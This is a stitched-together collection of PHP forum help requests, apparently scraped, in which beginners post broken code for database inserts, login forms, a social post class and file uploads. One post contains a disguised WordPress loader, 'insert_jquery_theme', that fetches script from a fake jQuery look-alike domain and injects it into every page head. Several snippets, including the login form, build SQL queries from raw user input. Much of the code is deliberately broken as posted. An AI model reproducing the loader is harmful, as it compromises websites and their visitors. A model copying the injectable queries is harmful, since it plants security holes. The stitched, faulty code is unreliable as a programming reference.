PHP - Error In A Single Line???

Hello everyone,
I am a total newbie in PHP and so do here. I am trying to build a table consisting foreign key and primary key and it is showing error like "Parse error: syntax error, unexpected 'cities' (T_STRING) in line number 29". I have marked up my lines according to sublime text 3 editor. I am trying to create a database. 

 

1 <?php
2 $servername = "localhost";
3 $username = "username";
4 $password = "password";
5 $dbname = "newDB";

7 // Create connection
8 $conn = new mysqli($servername, $username, $password, $dbname);

10 // Check connection
11 if ($conn->connect_error) {
12   die("Connection failed: " . $conn->connect_error);}

14 $firstname = $conn->real_escape_string($_REQUEST['firstname']);
15 $lastname = $conn->real_escape_string($_REQUEST['lastname']);
16 $address = $conn->real_escape_string($_REQUEST['address']);
17 $city = $conn->real_escape_string($_REQUEST['city']);
18 $country = $conn->real_escape_string($_REQUEST['country']);
19 $phone_number = $conn->real_escape_string($_REQUEST['phone_number']);
20 $email = $conn->real_escape_string($_REQUEST['email']);
 
22 // Attempt insert query execution
23 $sql1 = "INSERT INTO cities VALUES ('$city')";

25 $sql2 = "INSERT INTO countries VALUES ('$country')";

27 $sql3 = "INSERT INTO Contacts (firstname, lastname, address, city, country, phone, email) VALUES ('$firstname', '$lastname', '$address', $city, $country, '$phone_number','$email')";

29 SELECT * FROM cities;
SELECT * FROM countries;
SELECT * FROM Contacts;

if($conn->query($sql1) === true){
    echo "City added successfully.";
} else{
    echo "ERROR: Could not able to execute " . $conn->error;
}

if($conn->query($sql2) === true){
    echo "Çountry added successfully.";
} else{
    echo "ERROR: Could not able to execute " . $conn->error;
}

if($conn->query($sql3) === true){
    echo "Çontact added successfully.";
} else{
    echo "ERROR: Could not able to execute " . $conn->error;
}
 
// Close connection
$conn->close();
?>

Code: [Select]
<?php
if (!isset($_POST['submit'])) {
?>
 <h2>Todays Special</h2>
<p>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<select name="day">
<option value="1">Monday/Wednesday
<option value="2">Tuesday/Thursday
<option value="3">Friday/Sunday
<option value="4">Saturday
</select>
input type="submit" name="submit" value="Go">
</form>
<?php
// get form selection
$day = $_POST['day'];
// check value and select appropriate item
switch ($day) {
    case 1:
        $special = 'Chicken in oyster sauce';
        break;
    case 2:
        $special = 'French onion soup';
        break;
    case 3:
        $special = 'Pork chops with mashed potatoes and green salad';
        break;
    default:
        $special = 'Fish and chips';
       break;
}
?>

SET UP: Windows vista
# XAMPP 1.7.3,
# Apache 2.2.14 (IPv6 enabled) + OpenSSL 0.9.8l
# MySQL 5.1.41 + PBXT engine
# PHP 5.3.1
# phpMyAdmin

After entering various different information from previous forms on different pages I finally get this error message "Parse error: syntax error, unexpected T_STRING in C:\blablah on line 31" on the following code:


<?php

//let's start our session, so we have access to stored data
session_start();

include 'db.inc.php';

$db = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD) or 
    die ('Unable to connect. Check your connection parameters.');
mysql_select_db(MYSQL_DB, $db) or die(mysql_error($db));

//let's create the query
$query = 'INSERT INTO subscriptions (name, email_address, membership_type, terms_and_conditions,
name_on_card,
credit_card_number, credit_card_expiration_data)
VALUES (
"' . $_SESSION[$name, $db] . '",
' . $_SESSION[$email_address, $db] . '",
' . $_SESSION[$membership_type, $db] . '",
' . $_SESSION[$terms_and_conditions, $db] . '",
' . $_POST[$name_on_card, $db] . '",
' . $_POST[$credit_card_number, $db] . '",
' . $_POST[$credit_card_expiration, $db] . ')';

if (isset($query)) {
        $result = mysql_query($query, $db) or die(mysql_error($db));
}
?>
<p>Done!</p>
</body>
</html>

?>

Any help would be appreciated. I'm practicing this with the ambition to develop a multi-page registration using sessions for a website so even web pages that might help me with this aim would be good.

This topic has been moved to PHP Applications.

http://www.phpfreaks.com/forums/index.php?topic=344105.0

I keep getting an error code when running my php, it states:


Parse error: syntax error, unexpected $end in W:\www\blog\login.php on line 33

Line 33 is </html>



Code: [Select]
<?php
mysql_connect ("localhost", "root", "");
mysql_select_db("blog");
?>
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
if(isset($_POST['submit'])){
$name = $_POST['name'];
$pass = $_POST['password'];

$result = mysql_query("SELECT * FROM users WHERE name='$name' AND pass='$pass'");
$num = mysql_num_rows($result);
if($num == 0){
echo "Bad login, go <a href='login.php'>back</a>";
}else{
session_start();
$SESSION ['name'] = $name;
header("Location: admin.php");
}
?>

<form action='login.php' method='post'>
Username: <input type='text' name='name' /><br />
Password: <input type='password' name='password' /><br />
<input type='submit' name='sumbit' value='Login!' />
</form>

</body>
</html>Can any one advise me whats wrong?

Hi im coding a php form using a tutorial im completely new at php need help what am i doing wrong
else if((!filter_var($email,FILTER_VALIDATE_EMAIL)&& (!preg_match("/^[a-zA-Z0-9]*$/"",$username)){
header("Location:..//signup.php?error=invalidmail&uid=");
exit();

Dear...

I have problem with this code..can you help me ?
Thanks
Code: [Select]
<?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} 

Hi guys i have this error,

Parse error: syntax error, unexpected end of file in C:\wamp64\www\nigthclub\videos.php on line 103

 

but i know is probably easy to solve but for some reason i dont see the error. please help me

<?php

session_start();

?>

<?php error_reporting (E_ALL ^ E_NOTICE); ?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<link href="style.css" rel="stylesheet" type="text/css" />

<link href="tablefiestas.css" rel="stylesheet" type="text/css" />

<title>La Taverna de Juan</title>

</head>

<body>

<div id="container">

    <div id="header">

    <!--MENU BAR-->

  <?php include("includes/db.php"); ?>

    </div>

    <!--VIDEOS-->

<?php
$query = ("SELECT * from videos");
$result = mysqli_query($connection,$query);

$num_per_page =05;


?>

<table border="1" width="100%">
<tr>
  <td>Video Id</td>
  <td>Titulo</td>
  <td>Video</td>
</tr>
<tr>
  <?php
 
  while ($row=mysqli_fetch_assoc($result))
 
      {
      $videoid = $row['videoid'];
      $titulo = $row['titulo'];
      $url_video = $row['url_video'];
   ?>
   
       <td><?php echo $videoid ?></td>
       <td><?php echo $titulo ?></td>
       <td><?php echo $url_video ?></td>
   </tr>
   
   
   <?php}?>


</table>
 <?php
          $query =  "SELECT * from  videos";
          $pr_result = mysqli_query($connection,$query);
          $totalrecord =  mysqli_num_rows($pr_result);
          echo $totalrecord;

 ?>

    <br>

    <div id="footer">

 <!--FOOTER-->

    <?php include("includes/footer.inc.php"); ?>

    </div>    

</div>

</body>

</html>

 

Edited November 18, 2019 by Psycho
Added code tags

<?php
class Post{
	private $user_obj;
	private $con;

	public function __construct($con, $user){
  	$this->con = $con; 
   	$this->user_obj =  new User($con,$user);
	}
	public function submitPost($body,$user_to){
	$body = strip_tags($body);////Removing HTML TAGS
	$body = mysqli_real_escape_string($this->con,$body);
	$check_empty = preg_replace('/\s+/', '', $body);//delte all spaces

	if($check_empty != ""){


	//Current Date and time
	$date_added = date("Y-m-d H:i:s");

	//get username
	$added_by = $this->user_obj->getUsername();

	//if user have not a profile send to the none
	if($user_to == $added_by){
	$user_to = "none";
	}
	////insert query
	$query = mysqli_query($this->con,"INSERT INTO posts VALUES('','$body','$added_by','$user_to','$date_added','no','no','0')");
	$retured_id = mysqli_insert_id($this->con);

	//insert notification

	//Update post count for user
	$num_post = $this->user_obj->getNumPosts();
	$num_post++;
	$update_query = mysqli_query($this->con,"UPDATE users SET num_post = '$num_post' WHERE username = '$added_by'" );
}
	public function loadPostsFriends(){
	$str = ""; //string to return
	$data = mysqli_query($this->con,"SELECT * FROM posts where deleted = 'no' ORDER by id DESC");
	while($row = mysqli_fetch_array($data))
	{
		$id = $row['id'];
		$body = $row['body'];
		$added_by = $row['added_by'];
		$date_time = $row['date_added'];

		/// Creating user post on other user profile
		if($row['user_to'] == "none"){
			user_to = "";
			else {
             $user_to_obj = new User($con,$row['user_to']);
             $user_to_name = $user_to_obj->getFirstandLastname();
             $user_to = "to <a href='" . $row['user_to'] . "'>" .$user_to_name . "</a>";
			}
			// check if user account was closed 
			$added_by_obj = new User($this->con,$added_by);
			if($added_by_obj ->isClosed()){
				continue;
			}
			$user_details_query = mysqli_query($this->con,"SELECT first_name,last_name,profile_pic FROM users where username = '$added_by'");
			$user_row = mysqli_fetch_array($user_details_query);
			$first_name = $user_row['first_name'];
			$last_name = $user_row['last_name'];
			$profile_pic= $user_row['profile_pic'];

			///time stamp
			$date_time_now = date("Y-m-d H:i:s");
			$start_date = new Date_Time($date_time);////Time_of_post
			$end_date = new Date_Time($date_time_now);///Current_time
			$intervel = $start_date->diff($end_date);
			if($intervel->y >< 1 ){
            if($intervel ==1 )
            	$time_message = $intervel->y . " year ago";/// 1 Year Ago
            else
            	$time_message = $intervel->y . " years ago"; //1+ year ago
			}
			else if($intervel-> m >= 1 ){
				if($intervel->d == 0){
					$days = " ago";
				}
				else if($intervel->d == 1){
					$days = $intervel->d."day ago";
				}
				else
				{
					$days = $intervel->d."day ago";
				}
				if($intervel->m == 1){
					$time_message = $intervel->m." month".$days;
				}
				else 
					$time_message = $intervel->m." months".$days;
			}
		}
		else if($intervel->d >= 1){
				if($intervel->d == 1){
					$days = "Yesterday";
				}
				else
				{
					$days = $intervel->d."days ago";

				}
		
			}
			else if($intervel->h >= 1){
				if($intervel->h == 1){
					$time_message = $intervel->h." hour ago";
				}
				else
				{
					$time_message = $intervel->h." hours ago";

				}

		}
		else if($intervel->i >= 1){
				if($intervel->i == 1){
					$time_message = $intervel->i." minute ago";
				}
				else
				{
					$time_message = $intervel->i." minutes ago";

				}
	}
			else{
				if($intervel->s < 30){
					$time_message = "Just Now";
				}
				else
				{
					$time_message = $intervel->s." seconds ago";

				}
				
			}
			$str .= "<div class='status_post'>
				         <div calss='post_profile_pic'>
				         <img src='$profile_pic' width='50'> 	
				        </div>
				        <div calss='posted_by' style='color#ACACAC;'>
				        <a href = '$added_by'> $first_name $last_name </a> $user_to &nbsp;&nbsp;;&nbsp;;&nbsp;$time_message
				        </div>
				        <div id = 'post_body'$body<br></div>
				         </div>
				"
			
		}
		echo $str;
	}
}
?>

When i run this code this show me the error Parse error: syntax error, unexpected 'public' (T_PUBLIC) in C:\xampp\htdocs\social\Classes\Post.php on line 39

the line 39 is public function loadPostsFriends()

I check the code again and again but i cant find the error please help in this error

hello, if any one can help me solve this error.   

						case "unsuspend":
							$setupd = array("status" => "Active");
							$db->update("members", $setupd, "id=" . $mid);
							break;

							case "activate":
                                $setupd = array("status" => "Active");
							    $db->update("members", $setupd, "id=" . $mid);
							{
								if ($settings['referral_contest'] == 'yes') {
									$usr = $db->fetchRow( "SELECT ref1, status FROM members WHERE id=" . $mid );

									if (( $usr['status'] == 'Un-verified' && $usr['ref1'] != 0 )) {
										$referrer = $usr['ref1'];

										if ($referrer != 0) {
											$today_var = $settings['referral_reset'];
											$chk = $db->fetchOne( "SELECT COUNT(*) AS NUM FROM  referral_stats WHERE user_id=" . $referrer );

											if ($chk == 0) {
												$data = array( 'user_id' => $referrer, 'day' . $today_var => 1 );
												$db->insert( 'referral_stats', $data );
											} 
else {
												$db->query( "UPDATE referral_stats SET day" . $today_var . '=day' . $today_var . '+1 WHERE user_id=' . $referrer );
											}
										}
									}
								}
								
							
							break;

						case "delete":
							$userdata = $db->fetchRow("SELECT username, country, ref1 FROM members WHERE id=" . $mid);
							deletemember($mid);

							if ($userdata['username'] != "BOT") {
								$db->query("UPDATE country SET users=users-1 WHERE name=" . $userdata['country'] . "'");
							}


							if ($userdata['ref1'] != 0) {
								$db->query("UPDATE members SET referrals=referrals-1, myrefs1=myrefs1-1 WHERE id=" . $userdata['ref1']);
							}
							break;

This will have been posted before, but I can't find a solution that works.  Most people say to try mysql_real_escape_string, I have tried lots of variations and it doesn't seem to work.

Could anyone help with the below code?  It is part of a form that returns a syntax error when adding a single quotation mark e.g. entering "Bryan's" into the form causes the error.

I'd be really grateful for any assistance.

Steven

P.S. Before anyone mentions it, the mysql connect does work - I just haven't included the full page of code.

Code: [Select]

mysql_connect($dbserver, $dbusername, $dbpassword);
mysql_select_db($dbname);

$sitetitle = htmlentities($_POST[sitetitle]);

$query = mysql_query("UPDATE site_settings SET sitetitle = '$sitetitle'");

echo("<b>Settings Updated!</b>");

Hi Guys,

I have 6 file upload fileds in an array. When i try to return the error messages at this link: http://www.php.net/manual/en/features.file-upload.errors.php i get an error displayed for every upload box. I was wondering if it is possible to simply return 1 error instead of the 6? For example rather than getting "No File Uploaded No File Uploaded No File Uploaded No File Uploaded No File Uploaded No File Uploaded" i simply get "No File Uploaded". Also If only some files are uploaded no error should be displayed.

The code i am using is:

foreach ($_FILES['image']['error'] as $key => $error)

{

if ($error == UPLOAD_ERR_NO_FILE)

{

echo "No File Uploaded";

}


I have tried using "break;" which works in leaving only 1 error, however the error is still displayed if less than 6 files are uploaded.

All help greatly appreciated.

Thanks

I have an error on this php page and am getting confused with the curly brackets. I hope a set of fresh eyes will help me find the bracket I'm missing or misplaced. Any help would be greatly appreciated. Here's my code

<?php
if (isset($_POST['login-submit'])) {
	
require 'dbh.inc.php';

$mailuid = $_POST['mailuid'];
$password = $_POST['pwd'];

if (empty($mailuid) || empty($password)) {
header("Location: ../index.php?error=emptyfields");
exit();
}
else {
$sql = "SELECT * FROM users WHERE uidUsers=? OR emailUsers=?;";
$stmt = mysqli_stmt_init($conn);
if (!mysqli_stmt_prepare($stmt, $sql)) {
header("Location: ../index.php?error=sqlerror");
exit();	
}
else {
mysqli_stmt_bind_param($stmt, "ss", $mailuid, $mailuid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if ($row = mysqli_fetch_assoc($result)) {
$pwdCheck = password_verify($password, $row['pwdUsers']);
if ($pwdCheck == false) {
header("Location: ../index.php?error=wrongpwd");
exit();
}
else if ($pwdCheck == true) {
session_start();
$_SESSION['userId'] = $row['idUsers'];
$_SESSION['userUid'] = $row['uidUsers'];

header("Location: ../index.php?login=success");
exit();
}
else {
header("Location: ../index.php?error=wrongpwd");
exit();	
}
}
else (
header("Location: ../index.php?error=nouser");
exit();	
)
}
}
}
else {
header("Location: ../index.php");
exit();	
}